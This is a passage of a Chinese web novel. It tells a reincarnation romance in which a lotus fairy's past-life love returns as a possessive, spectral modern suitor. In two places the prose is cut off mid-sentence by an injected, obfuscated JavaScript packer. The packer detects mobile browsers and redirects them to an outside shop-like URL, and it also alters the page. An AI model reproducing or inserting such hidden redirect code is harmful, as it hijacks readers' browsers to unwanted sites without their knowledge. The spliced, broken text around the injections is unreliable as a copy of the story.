真如睁眼瞟她,复又覆上,心如止水。 淡道:“你还是不懂。” 妙有心不平,拿花瓣丢她发泄,“你懂!天上地下就你最懂!” 不欢而散之后,真如许久没再见妙有,没想到有朝一日会传来她为满足私心滥用神力,被剥夺仙子的身份,罚去下界历劫的噩耗。 真如闻讯赶过去,看见的却是一朵残破的莲花,花瓣打着蜷儿铺满台阶,像血流了一地,纤软的根茎绑着一根又长又沉的铁链,上头遍布痛苦地抓痕。 并蒂莲之间难免有感应,妙有知道是她来了,勉强打起精神聚拢人形,身上仍披着男子的衣裳。 见状,真如了悟:“你找到他了。” 妙有面色煞白,唇边渗血,虚弱地笑笑。 寻觅良久没下文,她原本不报希望了,心说,如果能继承他的一颗善心造福苍生,应该也算报恩了。 故而,妙有常分出一缕神魂下界聆听凡人的倾诉,虽无法直接提供帮助,却可以等人们睡熟之后入梦同他们絮叨几句贴心话或见解,以慰寂寥。 久而久之,妙有仙子的慈悲名号于百姓之间广为流传,供奉的庙宇增多,香火绵延不断。 某夜,妙有照例前往凡间,途径观音殿时偶遇一少年,奄奄一息地蜷缩在垫子上,浑身遍布伤口,鲜血汩汩,溪流般沿砖缝往殿外蔓延。 妙有往旁避让一步,以免沾染污秽,随后嗅到强烈刺鼻的血腥味,心中大概有数,这人,活不过今夜了。 少年似乎也意识到这一点,伏在蒲团上,努力蜷卧成一团,不住地瑟缩着等待灭亡,并没有徒劳呼救。 夜风凄冷,裹挟着少年隐忍的痛吟一并吹来。 妙有眼看着这一幕,心头蓦地一疼,身体比理智先行一步,径直迈入观音殿,脚底不可避免沾上血渍。 她没理睬,双膝跪地,小心托起他因为失血过多变轻悠的身体,曲起臂弯承受着他的头颅,以怀抱紧密拥着他。 随后,她抬起的掌心轻抚上他发顶,周身气流运作,化作实体的小股旋风缠绕着他,尝试唤醒他仅存的一丝意识,一并缓解他肉-体的痛苦。 她心有不忍,口中低喃:“可怜的孩子,怎会受这么重的伤……” 芬芳的气味涌入鼻端,片片花瓣掉落在少年的眼皮上,浓如鸦羽的睫毛颤抖的、缓慢的向上抬起,意外露出一双熟悉的眼眸。 妙有嘴巴微张,顿时失了神。 少年意识涣散,迷离的目光从她脸上扫几圈,误认为自己死前得以开悟,能看见菩萨真身了。 真的好美。 美得无法形容,语言在此刻显得过分苍白无力。 衣袂翩然,周身流光溢彩,气味馥郁,比他闻过的任何一种花都香。 怀抱也不似想象中冰冷,反而温暖、踏实,令他心安到情不自禁地流泪,仿佛重新回到阿母肚子里被水紧密包裹着的时候,他释然地抒出口气,觉得死亡也没那么可怕了。 他轻呵一声:“原来,神仙...长这个样子...跟供奉的神像,全然不同...” “你看我是什么样,我就是什么样。皮相虚幻,神仙从来只在世人心中。”妙有说。 语罢,微凉的水滴砸到眼睑上。 少年条件反射地眯了眯眼,随后发现,神仙竟然在哭。 那双漂亮的、虚幻的、温情的眼睛蓄满泪水,顺着皎洁的面颊滑落,除了神明的悲悯,莫名多了几分属于俗世的凄清。 他惊诧万分,神仙神通广大、与天同寿,高不可攀,竟然也会为短命的凡人驻足感伤? 少年瘪了瘪嘴,忍住心头的悲戚和酸涩,气虚地感叹:“有幸能够得到神仙的一滴泪,如此,死而无憾...” 妙有眉心微蹙,手掌轻覆上他的唇,堵住那些不吉利的丧气话。 “你来这世上才多久?凡人该有的一生你还没来得及仔细品味,我不会眼睁睁看着你死掉。更何况,苍生供奉神仙,理应得到庇护,”口口声声说着大义凛然的话,妙有却不自主地轻触他的面庞,眼神近乎缱绻,泪水也流的愈发汹涌,“你只当做了一场梦,醒来一切都会好的。” “所以——” 真如听不下去,冷声打断:“你擅自救了他?!” 妙有枝条晃晃荡荡,身影忽隐忽现,花叶凋谢的速度加快。她嘴唇蠕动,实在无法辩解,歉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“人自有人的规章法度,人要成神、成仙,或大彻大悟脱离轮回苦海,必得经历磨难。度过去,是他们的命,度不过去,转世重来,仍是他们的命。你以为的善意帮扶,实则才是仗势肆意拨乱他们注定的命数,徒生枝节。” “至于他,转世轮回无数次,早把你这朵不起眼的莲花忘了。” 撂下狠话,真如力竭,瘫坐在地,伸手摸了摸妙有快消散的脸庞,痛不欲生,“但也不能只怪你...当初他不也擅自挡住风浪,致使你没有渡完劫难便先化形了么,还有后来……早就说不清了。你们之间,谁施恩、谁报恩,又是谁有私心,念念不忘,割舍不下,永远也说不清了……” “当真是。” “因果轮回,报应不爽。” - 观音像前的香炉里,线香明明灭灭,檀香味混着雨天独特的土腥气直往人脑袋最深处钻,似要唤起某些重要记忆。 许菱烟胳膊顺着桌边滑了一下,身体一歪,差点栽倒在地,突然的滞空感让她惊醒。 或许因为小师父讲得“八苦”太深奥难懂,她挨不住犯困,迷迷糊糊的分不清后半段内容究竟是自己的梦还是故事。 ……随便吧,不过一个传说而已。 她懒得较真。 讲堂里空无一人,雨却还没停,不远处青山被迷蒙的雾气笼罩。 恍惚间,真像到了仙境。 许菱烟睡得腰酸背痛,站到廊下伸个懒腰,仰头,合眼,贪婪吸入清新空气。 扭头看见刚才传经授道的那位年轻师父从另一扇门进来,身着藏青僧袍,水珠顺着衣摆滴落,手里拎着扫帚。 “施主还没走?” “雨太大了,我没带伞,等朋友来接。” 小师父点头,兀自开始打扫,还不忘请她进屋里等待,廊下潲雨,恐会淋湿她的衣服。 许菱烟道谢,主动帮小师父整理桌椅,闲聊似地问:“那位仙长……救下莲花的那位仙长,是因为什么被贬下凡?” 她默数几条“罪状”,实在猜不到他会犯哪条,干脆瞎猜,“难道是长久得不到供奉?” 小师父手持扫帚,扫净墙角最后一点灰尘,徐徐摇头。 许菱烟专注地等一个答案,却发现他越过她肩头往后看,目光定在某一点。 她纳闷,顺势望过去。 雨线细密,织就成一张隔世的帘子,沈渠撑伞站在廊外,目不转睛地看着她。 不知道怎么回事,许菱烟心口微微刺痛,一道又一道顺着屋檐倾斜而下的水柱仿佛变成他与她无法逾越的鸿沟,千百年轮回的岁月在眼前转瞬即逝,好似他们不是第一次这样,一个在内,一个在外地站立对望,中间始终横亘着名为“因果”的滂沱大雨。 沈渠身形微动,唇瓣翕张说了句什么,被嘈杂雨声吞没,难以辨认。 小师父沉静的声线同时响起:“很多时候,一个人的记忆并不能代表全部的真相,因果循环,也不只靠一人推动。” 许菱烟刚背上包准备离开,听见这话,脚步蓦地一顿,“什么?” 小师父又向外看了一眼,接着,从衣袍口袋里拿出一串保平安的珠子递给许菱烟,口吻波澜不惊:“就像莲花从没意识到,仙长对她,亦有私心。” “……” 轰得一道雷劈下,伴随天边清晰可见的紫色闪电,泼天的、无情的,来自今生的雨顿时下得更大了,带着一股势必将前尘往事冲淡的劲儿,飞奔向汹涌又荒芜的宿命海洋。 17. 理想型 山间气候变幻莫测,刚刚还暴雨滂沱,一离开灵源寺雨势立马减小,变戏法似的。 叶婉筱和贺骁吃完饭先行下山,也幸亏他们走得早,没遇上雨最大的那一阵。 叶婉筱担忧地看着天上翻滚的乌云,打电话叮嘱许菱烟等雨完全停了再动身。贺骁收起雨布,边折叠边狗腿地帮腔,话没说完就被她瞪了,他讪讪地缩起脖子,老实巴交地待着。 许菱烟拉开窗帘向外望一眼,笑说别担心,“就快放晴了。” 刚结束通话,房门被敲响。 沈渠东西少,一个旅行包就全包揽了,他收拾完,来找她要那张毯子,“我去接待中心给同事们买几样纪念品,顺便帮你把东西还了。” 许菱烟没推诿,“那我收拾完,直接到下山口等你吧。” 沈渠低头看她,眼里溢满温柔,嘴角微妙地翘起弧度:“好。” 放晴的速度没那么快,雨水连绵细密,但不耽误下山。 离开民宿时,许菱烟在前台买了两件一次性雨衣,心想这样总比打伞方便。 其中一件大号的给了沈渠,他个儿高,下半截将将到腿窝,走着走着,裤腿被打湿,他不得不停下来整理衣服。 许菱烟站在一边等待,用手扯着雨衣的帽子遮住脸,一双富有灵气的眼珠提溜转,像初生的小动物好奇观察这个陌生世界。 沈渠歪头专注地看着她,语气恬淡,“在找什么?” “一棵槐树。牌子上写它有千年的历史,我挺感兴趣的,”许菱烟虚空比划几下,“昨天突然下雨没来得及拍照,我想补一张。” 沈渠也有印象,可惜他们刚才走得太快,早已经路过了。瞅见她遗憾的表情,他揣度说:“不如,我给你讲一讲有关那棵槐树背后的事?” “好呀。” 许菱烟眼睛霎时发亮,“沈教授的课平时很难约的,多少人挤破头都抢不到,今天算我走运。” 沈渠笑得无可奈何,“从哪儿听来的?” “那肯定不能告诉你,我在沙溪大学可是有人脉的。”许菱烟狡黠眨眼,不想纠结这个无关紧要的话题,催沈渠接着讲那棵槐树。 沈渠不着痕迹地往后方一瞥,眸底闪过一抹暗色。 原本该种着槐树的地方早就荒了,凹陷的坑里积满浑浊雨水。 至于所谓的休息站也不见踪迹,密林深处只有一堵残破的墙,灰瓦朱墙,颜色黯淡,棕窗向外敞开一边,在风雨中来回晃荡,摇摇欲坠。 前头三尺高的野草,枯叶遍地,了无生机。 不及一秒钟,沈渠收敛眼神,盯紧脚下的阶梯,臂弯牢牢托住许菱烟。 两人挨得很近,胸膛挤着肩膀,亲密无间地依偎着往下走。 “还记不记得我们第一次见面时,我讲过的那个爱情故事。” “记得。殉情的那一对……将军和他的爱妾。” “按照现代婚姻法,强制婚姻不算数,他们才是正儿八经的夫妻,可惜历史不允许他们的爱情有一个正当名分。”沈渠淡淡纠正,语气中透着揶揄,令人忽视掉他不经意间流露的凄婉。 许菱烟也蛮惆怅的,感叹一声缘分阴差阳错,随后脑中灵光一闪,激动地拍手,“那棵槐树,是不是跟他们有关系?难道是将军亲手栽的?” 沈渠赞许地瞅她一眼,保守回答:“暂时没办法证明。” “很多事由人们口口相传,没留下实质性的证据。我也只是从老人那儿听说,沈将军纳妾之后不久,亲自来这儿种下一棵槐树,盼望它能永远活下去,还立下一块嵌金的碑。每当有人途径看见上面的内容,就代表着他们的爱情一次又一次被提及,以这种方式永生永世的在一起。” 许菱烟倒是没注意那块碑上除了植物介绍还有别的,慨叹:“就算古代没有互联网,人们想保留一段回忆,办法也总比困难多。” 沈渠一顿,无法理解她的关注点怎么突然歪到十万八千里外了,好笑地应和:“嗯...” 又听她好奇宝宝似地发问:“是不是因为这儿有先祖种的树,你家才会经常来灵源寺祭拜?” 沈渠否认,“附近这一带只有灵源寺,去别的地方太远,老人的身体不一定受得了奔波。况且心诚则灵,不管去哪里都一样。” 说着,两人迈下最后一级台阶。 沈渠立时松手,主动退开一段距离。 许菱烟的心随之一空。 要不说下山容易上山难,她还没跟他待够就得分开了。 许菱烟掩起失落,问:“你车停哪儿了?” 沈渠往四周找了找,眼神忽地一停,抬手指过去,一辆亮黑漆的红旗国雅。 许菱烟默默记住车牌号,说了句到地方再见,却磨磨蹭蹭的没走开。 沈渠也不挪步。 微风从两人之间自由穿梭,吹动衣摆互相摩挲,无声地亲密。 沉默一阵,沈渠不太自然地轻咳,先打破尴尬,“你今天有没有其它安排?” “没有。” 她掀起眼睑瞅他,感情直白滚烫到令人心慌,只差把那句“你要约我吗”说出口了。 他眼神一下子飘忽起来,喉结频繁滚动,搭在身侧的指尖蜷缩,被车钥匙的锯齿卡得疼。 几秒后,他目光转移到她脸上,郑重地问:“那我,有没有机会和你共进晚餐?” 她抿嘴,很轻地笑了一声:“当然。” 接下来的事水到渠成。 许菱烟坐上沈渠的车,把车牌号发到临时组建的四人返程群里,叮嘱他们刚下完雨,山路湿滑,开车千万注意安全。 等另外两人回复之后,她告诉他可以出发了,然后偷偷转动眼珠,好奇地观察车内。 很简朴的装饰,同色系的坐垫,软绵绵的,靠上去很舒服。 车内没有怪异味道,反而有股很清单的古寺烧香味,闻起来令人心安。 车里很安静,只有沈渠操纵方向盘时衣料摩擦发出的细微声音,许菱烟紧张到手心冒汗,甚至听得见“噗通噗通”的心跳和凌乱的呼吸。 她很难形容这种感觉,好像被他的气息彻底裹挟,身不由己。 许菱烟缩起肩膀,拘谨地坐在副驾驶,双手交叠握住手机,一言不发。 沈渠表情专注地看着前方的路,时不时瞥一眼后视镜确认另外两辆车,以免他们掉队。 气氛一时沉寂。 等驶离最危险的一段山路,他短暂转移注意力,打开手机蓝牙,随便点进某个纯音乐歌单从头播放,降低音量,让这点动静打破尴尬,缓解许菱烟的不自在。 然后随便开了个话头:“串珠是刚刚在灵源寺买的?” “...啊?这个,不是买的,”顺着他的话,她低头看了一眼,串珠和先前叶婉筱送的一样,只不过是放大版,可以直接戴在手腕上,“早上遇见一位传经的小师父,他说看我有眼缘,非要送给我。” “很衬你的气质。”沈渠淡道。 眼底却涌起暗潮,紧攥方向盘,表面仍不动声色地,“还愿的时候遇见主持,我帮你问了问,主持说串珠已经没了,只有保平安的符,可早上来得人太多,符也没了。没想到你从另一位师父那儿拿到了。” 许菱烟笑:“这就叫,命里有时终须有。” 沈渠脑袋里立即浮现出后半句,默默咀嚼一遍,嘴角弧度愈深,眸光却无止境的暗下去... 公路向前绵延,环境陌生,位置也挺偏僻,私下荒凉不见人烟。开了近一个小时,没看见除他们之外的任何一辆车,好处是一路上没有红绿灯也不堵车,且牌子上写着此路段暂不限速,沈渠车开得又快又稳,推测到家的时候天还亮着。 许菱烟乐津津地拿手机翻找餐馆,问沈渠有什么想吃的或者喜欢吃的,说得详细一点,给她作参考。 沈渠想了想,说:“都可以。” “好敷衍的答案。”她睇他,皱眉指责,却毫无震慑力。 沈渠哭笑不得,解释自己真不挑,咸甜辣都行,也没有过敏的食物。 许菱烟震惊地瞪大双眼。 挑三拣四的人少见,但什么都能吃的人更稀有。 她慨叹他真容易养活,突然把手机往腿上一撂,雄赳赳、气昂昂地:“不如我们回家煮火锅吧。” “我们”和“回家”两个词组合在一起,轻易撩动沈渠敏感的神经。 他没注意自己下意识扬起的笑有股混不吝的痞气,并不符合“沈渠”温润尔雅的人设,眉宇间如冰雪消融般舒展开,带着一丝坏地斜眼乜她,轻轻挑挑地反问:“回哪个家?” 许菱烟一愣,反应过来他的戏弄,脸颊泛起一层薄薄的红晕。 “去我家,顺便把定制的东西交给你。” 顿了顿,她找补:“我刚才没说清楚,你别误会。” 沈渠听得出许菱烟的难为情,嗯声,见好就收。 - 进入泗河市市区以后,两拨人自然而然分开。 叶婉筱和贺骁回公司处理未完成的工作。 沈渠就近找了一家超市,跟许菱烟采买晚上煮火锅要用到的食材。 期间,许菱烟避开沈渠,去安全通道给卢桃打了通电话,告诉她今晚有一位很重要的客人来访,赶快把卫生收拾干净,准备好煮火锅的工具。 “你有什么想吃的?”她不忘问。 卢桃张嘴就来:“午餐肉、虾饺,牛脊髓,还有……豌豆尖!” 许菱烟满口答应,惦记着沈渠从蔬菜区返回来看不见她可能会担心,没说两句就着急忙慌地挂断电话,赶去找他汇合。 而卢桃这个人精儿把许菱烟的脾性摸得一清二楚,知道她表面柔柔弱弱、笑容满面,看似很好接近很好说话的样子,实则防备心格外重,跟人来往自有一套评判标准。 对于那些被划在圈外、判定为没必要深交的人,许菱烟绝对不会带入接近自己生活或工作的重要区域。 从前交单的时候,她直接在外面约个地方跟客户见面,更不会留人在家里吃饭。 这也太暧昧了! 卢桃眼珠一转,立马猜到,今晚来的客人十有八九是那位沈教授。 她捂着脸激动地嗷了一声,本着绝不能给师姐的感情拖后腿,以及要给客人留个好印象的想法,她赶紧收起满桌的零食袋和水果皮,换衣服出门扔垃圾,盘算着等他们到家之前做一道拿手的甜品。 天际将将擦黑时,密码锁发出清脆铃声,伴随咔哒轻响,门把手被拧动。 两人有说有笑地进门,先注意到沈渠讶然的微妙表情,许菱烟疑惑地转头,立马被光洁到可以当成镜子用的瓷砖地面唬住,差点退出去确认一下自己有没有进错家门。 她叮嘱卢桃清理卫生,但并没指望她一个人在有限的时间内做大扫除,只要打眼一瞧别脏乱的太过分就行。 可眼前的景象完全超乎预料。 客厅内一尘不染,所有东西都乖乖待在它本应该待得地方,碗筷整齐摆在餐桌上,插板的长线沿墙边延伸,完全不怕挡路,热水已经烧开,火锅底料融化开,浓香鲜辣的味道钻入鼻尖。 惊诧之余,许菱烟内心泛起小小的骄傲和欣慰,控制不住向沈渠炫耀,“我家之前没那么干净,多亏我妹妹在,她人勤快又机灵,长得也乖。待会你见她就知道了。” 沈渠点头,嘴角弧度意味深长,眼睛微微一眯,看破不说破。 许菱烟从玄关处探出头,往厨房张望。 “小桃子?” “……” “田螺姑娘?” 话音未落,一小股旋风迎面袭来。 沈渠反应迅速的上前一步,不动声色将许菱烟护到身后。 下一秒,他定睛看见个穿着粉色蕾丝边围裙的女生,双手、脸颊,包括围裙上全是面粉,模样很狼狈。 心形脸一般不显年龄,尤其她一双水灵灵的眼睛很有迷惑性,乍看像个未成年,毫无威胁性。 沈渠认出她,放松戒备,眨眼间恢复往日的绅士风度,扬起笑主动问候:“你好。” 卢桃则在心底嚯了一声:不愧是师姐,竟然能从一群聪明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094235|195586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绝顶的教授里搜罗出一个罕见的绝世大帅哥,不止外形出挑,感觉脾气也好好。 但她没敢多看。 匆匆忙忙做个自我介绍,卢桃又一头扎进厨房,继续捯饬没弄完的甜品。 沈渠一头雾水,看向许菱烟时,不自觉地放轻声音:“我干什么吓到她了?” 许菱烟忍着笑,从柜子里取出一次性拖鞋,递过去,“你肯定打小就是个备受老师们喜欢的优等生,所以才不知道。” “什么意思?” “对于某些人来说,畏惧老师这种事就像老鼠怕猫一样,是刻入骨髓的本能。” 沈渠扬眉,不置可否。 晚饭格外丰盛,除了火锅和卢桃做得甜品,还有沈渠带来的家乡特产。因为保质期短,拆开之后即食不方便保存,所以依样只取了一小袋装盘,让她们先尝一下味道,看合不合胃口。 卢桃很矜持的没动,挨不住肚子里的馋虫被香味勾动作祟,眼神时不时往那边瞥,口水疯狂分泌。 许菱烟主动给她夹了一筷子,柔声说:“尝尝。” 沈渠也发现她的不自然,弯起和善地笑:“不是很辣,放心吃。” 卢桃腼腆地嗯声。 因为第二天各有各的安排,再加上沈渠待会还得开车回家,酒是没办法碰了,三个成年人手边的杯子里只有果汁,眼前摆着形状可爱、颜色鲜艳的餐具,一下子削减了不少严肃生疏感。 卢桃慢慢放松紧绷的神经,安静吃饭的同时,听他们聊彼此工作上的事情,有关非遗手工艺的内容偶尔也能插个一两句。 许菱烟和沈渠你一言我一语接上她的话,气氛逐渐变得融洽。 桌面的空间有限,一部分食材还放在厨房里,眼见快吃完了,沈渠下意识起身,却被许菱烟摁下肩膀,笑说:“哪能让客人动手。我去拿,你坐着。” 不及一秒的触碰,指尖温度甚至无法透过布料传到他皮肤上,但酥酥麻麻如过电一般的感觉停留在那儿,很久没有消散。 刹那间,沈渠心底荡起千层波浪,敛了敛眼眸,很听使唤地坐下了。 许菱烟一离开,桌前两人暂时无话。 锅里咕嘟咕嘟冒着泡,辣味直钻入鼻尖,热气熏得卢桃面颊绯红。 反观单独坐在对面的沈渠,从始至终都一副淡然的样子。 比寻常男人更白也更精致的皮囊,一点儿没被氤氲的气体沾染,从锅口冒出的滚滚雾气反倒像一面肉眼可见的屏障,以餐桌为界,将他隔绝在另一个常人无法触及的世界。 卢桃咬着筷子,壮起胆子飞快瞄男人几眼,大概懂了师姐喜欢他的原因。 青春期里有一阵,卢桃迷上看少女漫画,最喜欢那种表面拽拽的、坏坏的,同时又很熨帖女人心的男性角色,当她兴致勃勃拿去跟许菱烟分享,她只淡淡地扫一眼就继续钻研雕刻功夫,好像这种“霸道总裁爱上我”的戏码还不如手上的木块儿有吸引力。 后来许菱烟读大学,卢桃偶然撞见过有男人追求她,依照世俗标准判断他们的条件还算不错,不过从来都是吃一顿饭,或者约会一次就没下文了。 出于好奇,卢桃旁敲侧击地打听过许菱烟的理想型。 本以为许菱烟没有喜欢的对象,会随便说几句搪塞过去,可她低头思索一会儿,真就严谨地回答说,要温润尔雅、饱读诗书,要气质疏离、高冷、一心一意,要有个人想法却不能独断专行,要懂得欣赏和尊重彼此的一切,又要体贴识趣不会冷场,甚至连肤色和五官都细致地描绘出来了,说得有鼻有眼的。 每一条听起来都那么匪夷所思,可又有理有据,仿佛不是她的构想,现实中真有这么个人。 彼时卢桃以为她的理想型是天上不食人间烟火的神仙,结果现在“神仙”就坐在她对面咬那块糊底的甜点,表情淡然,眉头都没皱一下。 卢桃脑袋轰得炸了。 因为客人比想象中来得早,卢桃一急,没掌握好火候,把底部烤焦了,口感又干又脆,糊味遮盖了原本的香气,泛苦还涩。 刚才她还庆幸桌上的食物够多,等吃完正餐,客人的肚子里也就没位置再放甜点了,免得她出糗,结果一个没拦住,沈渠就从盘子里拿走了一块。 卢桃着急想拦,忘记嘴里有食物没咽掉,话还没出口就呛了个正着,硬靠毅力憋住咳嗽,喉管疼得要命,一张脸涨得通红泛紫,赶紧推开椅子去找水喝。 杯子洗干净倒扣在厨房里沥水,没拿出来,卢桃仓促地翻找放一次性纸杯的抽屉,里头却空空如也。 身后的光被挡了一下,短暂黑暗之后,有道挺拔的身影自上而下完全地投落。 细究就会发现,跟沈渠本人其实不太一样,这道身影过分魁梧了。 一只骨节分明的手从旁边伸过来,指尖修剪整齐,勾住底层抽屉的拉环,往外一拽,轻车熟路的从最里面翻出一包还没开封的纸杯,取了一只,兑好水温递给卢桃。 “慢慢喝。”他道。 语调毫无起伏,走过场一样的关心。 卢桃不敢说话,怕一张嘴就咳嗽个没完,她自己丢人没关系,可不能给师姐丢人,于是垂着眼皮,点点头表示感谢。 接过纸杯的时候,她不小心触及他的指尖,冷如冰块,或许更甚。 她控制不住地打了个颤,差点没拿稳杯子,随后,从檀香味中嗅到似有若无的腐朽气,比消毒液还刺鼻,搅得人五脏六腑都跟着翻腾。 卢桃隐约察觉出一丝不对,下意识抬眼,没等瞧真切,先跟走出厨房的许菱烟打了个照面。 听她关切地问:“怎么了?” “呛着了。”沈渠边说,边走近,接过许菱烟手里的盘子。 转瞬间,他身上那股隐晦的凌冽危险荡然无存,宛如丝线般轻柔萦绕在空气中的味道,也从腐臭变成了纯粹的檀香。 一切发生的太快,好像从头到尾只是卢桃的错觉而已。 她不解地挠了挠头,就真的只当自己闻错了,没再纠结刚才闪过的异状,仰头喝掉最后一口水,回到桌前继续吃饭。 18. 情话 这顿饭没吃太久,三人分工收拾干净卫生之后,卢桃借口今晚宿舍要查寝,很有眼力见儿的快速遁走。 许菱烟甚至来不及告诉她,他们连恋爱关系还没确定,不至于到这一步,结果一晃眼的功夫,人就跑没影了。 她无奈地叹气,发微信叮嘱她路上注意安全,到校给她拍张照报平安。 卢桃俏皮地回:get! 反手阖上门,许菱烟摁灭玄关灯,抬眼去找沈渠。 客厅有一架巨大的展示柜,里头放着她收藏的物品,算不上多贵,但每一样儿都承载着宝贵的感情和经历。 他此刻就站在那儿,聚精会神地观察一株并蒂莲。 淡绿与嫩粉交织,仿若晨间山林里吸入的第一口空气,格外清新,不过颜色变化却跟常人的认知相反,边缘最浓,沿脉络向中心淡化。 同一根茎,枝叶缠绕,难分彼此。 花瓣或蜷缩或张扬,特点鲜明。 看起来很像一朵还在沉睡,另一朵先觉醒意识,惬意地伸个懒腰,朵瓣随风摇曳,恰这一幕被人瞧见并以这种方式记录了下来,令每一位观者都能感受到扑面而来的生命力。 沈渠心头涌入一股奇异的感觉,并不让他抗拒,反倒非常熨帖。 他情不自禁抬起手,隔着玻璃摸了摸那朵张扬的莲花,唯恐惊扰什么似地压低嗓音:“这是琉璃制品?” “嗯,淄博琉璃。”许菱烟靠近,也弯腰看莲花。 渐渐的,眼神不自觉涣散,被倒映在玻璃上的一双人影吸引。 两人挨得很近,肩膀避不开地触及。 沈渠有所察觉,斜眼一瞥,没躲开,但也没顺势靠近。 悬在两人之间的距离像极了被磨钝的钩子,不至于伤人,却也绝不让人好过,挠得许菱烟心尖发痒,呼吸不自觉紊乱,胸腔起伏不定,心跳扑通扑通乱成一团。 她敛眸,微微启唇,小口小口地吐息,缓解澎湃的心绪。 因而没注意到旁边那道浓稠的视线,正一眨不眨的、狂恋痴迷地盯着她,直至她扭头看过来的前一秒快速恢复正常,挑不出一分一毫的错误。 沈渠大大方方接住许菱烟投来的视线,反倒是她被突然的对视弄得眉心一跳,好不容易恢复正常的情绪又一次乱成一团麻,心脏也快速砰砰地蹦起来。 她紧张不已,艰涩地咽下一口唾沫,很想说些什么打破当下越发诡谲的气氛,却先一步被他漩涡般深邃的眼眸卷走理智。 沈渠静立不动,眼睁睁看着许菱烟靠近。 她表情已然迷蒙,眼底只倒映着他的面庞,仿若一个虔诚向神明献出灵魂的信徒。 他唇角勾起浅淡的弧度,放任脚边的黑雾向四周扩散,一点一点吞噬她的影子,直至彻底融为一体,他终于餍足地低吟一声,投向她的眼神更加痴狂—— 本就是她先邀请他来做客,他又怎么能不解风情。 沈渠便也俯身拉近距离,感受着许菱烟滚烫的鼻息喷洒到面颊上,瞬间血脉偾张,撑住玻璃的手掌暗暗用力,周边秦沁出一圈儿水雾,昭示着即将到来的失控。 可忽然,他不知道想起什么,表情发生隐微的变化,浓烈爱意逐渐被扭曲、癫狂的恨跟委屈侵占,让他像自我折磨一样蹲在原地,不愿再近一步。 明明朝思暮想的人就在眼前,他又是那么暴烈的渴望着她,却只盯着她的双唇不放,眸底浓墨似的欲-念翻滚,也不肯轻易吻上去,非要等她先动作。 许菱烟反应慢吞,像只黑暗中跌跌撞撞探路的小动物,鼻尖翕动着慢慢贴近男人。 眼瞅着唇与唇之间的空隙缩短至无,手腕的串珠突然发出一抹暗光,烫了她一下。 这感觉太微小,没能把她从魔怔的状态中唤醒,但却成功制止她继续向前。 许菱烟混沌的眼珠微转,歪着脑袋等了半天,还是没感受到对方的呼吸,表情不免困惑,睫毛软趴趴低垂着,模样柔软可欺也可爱。 他见她不再靠近,心里很不痛快,表面却装得淡定。 声音轻如羽毛落下,“怎么了?” “烫。” “什么烫?” “……” 交谈间,串珠的光越来越亮,灼烧感也更加强烈。 许菱烟表情逐渐痛苦,眼珠颤抖的厉害,像要冲出浓雾却找不到方法。 这股身不由己的恐惧致使她重新缩起肩膀,反复咕哝:“不对,不对……” “哪里不对?” 沈渠循循善诱:“依我们的关系,不管做什么都是对的。” 许菱烟不言语,眉心紧蹙,别开脸,试图离他远远的。 嫌弃的意味相当明显。 这一幕深深刺痛沈渠,他嘴角挂着笑意,可双眼眯起,蓄意报复似地凑近她耳畔低喃,语速不疾不徐:“清如,你抬眼看一看我,真的不记得我是谁了吗?” 许菱烟眸光一闪,应声抖了抖后背,迷茫地喃喃:“我是郑清如,那,你又是谁……?” 听见她承认了这个身份,他心底的不爽稍微缓解。 一张俊脸凑得极近,双眸痴狂地盯着她,说着自认为温柔缱绻的情话,“没关系,暂时想不起来也没关系,我不会因为这个就生你的气,以后总有法子让你恢复全部的记忆。现在最重要的,是你的想法。” “我的,什么想法?” “我要你记住,不管轮回转世多少次,你遇见的、爱上的男子只有我,也必须是我。生生世世,永生永世,你只能成为我的妻子。” 泛凉的双手摸上她的脸,逐渐合拢,指甲掐入软肉中,不断收紧。 他兴奋至极,灵魂颤抖膨胀,恨不得立马撕破这张即将腐败的皮囊,化为一缕黑烟钻入她体内,沿着血管蔓延至各个角落,彻底成为她无法抛去的一部分。 许菱烟对脸上的疼痛无动于衷,乖巧站着,任由他摆布。 她的反应明显取悦到他,双唇微张,呵出一口黏着的冷气,然后贴合她细腻的皮肤缓慢磨蹭,说着最虔诚的誓言:“你,休想甩掉我。” 许菱烟下意识反驳:“不要。” 蹭动的唇瓣一顿,危险气息悄然蔓延。 他眯起双眸,瞳仁中闪着红光,仿若溅上的血渍。 阴森森地轻问:“你说什么?” 许菱烟背脊止不住地发抖,态度却格外坚定,一字一顿道:“不、要。” “……” 声落的同时,房子里的电源失灵,所有可以发光的电器一齐频闪不止。 暖气也失效,温度骤然将至冰点,玻璃窗上迅速蒙了一层浓浓的雾气,宛如一道坚不可摧的屏障,将内外隔绝成两个世界。 千年前那场暴雨随着一声巨大的雷鸣声再度降临,土腥气中混杂着挥之不去的血液腐臭味,他又看见那双令他爱不得、恨不能的眼睛。 曾经施以援手把他从鬼门关拉回来,又让他重燃活下去希望的人,彼时一心只想让他死。柔肠百转唤过他名字的声音响起时,也只剩对他的恶毒诅咒。 这场无休止的噩梦扰他千年,他以为捂住耳朵就能隔绝那道揉碎他五脏六腑的嗓音,却忘了一双眼还能视物,没等反应过来的时候,已将血流成河的景象看得清清楚楚。 单薄娇软的一具身体,平日吹点风就得咳两声,却被一把利刃穿心而过。 她本该立时丧命,不知道为何还留了一口气,疼得震颤啜泣,也要保持最后一点清醒,用来跟他划分界限。 早知道后续会发生什么,他捂耳朵的力道顿时更大了,恨不得折断耳骨,捣碎耳膜。可她说得话在他耳畔萦绕太久太久,哪怕听不清,凭借嘴型也能分辨出来。 她道从没爱过他,与他表面的亲密不过受他胁迫不得已为之。 她道不认他这个郎君,也不许女儿唤他父亲。 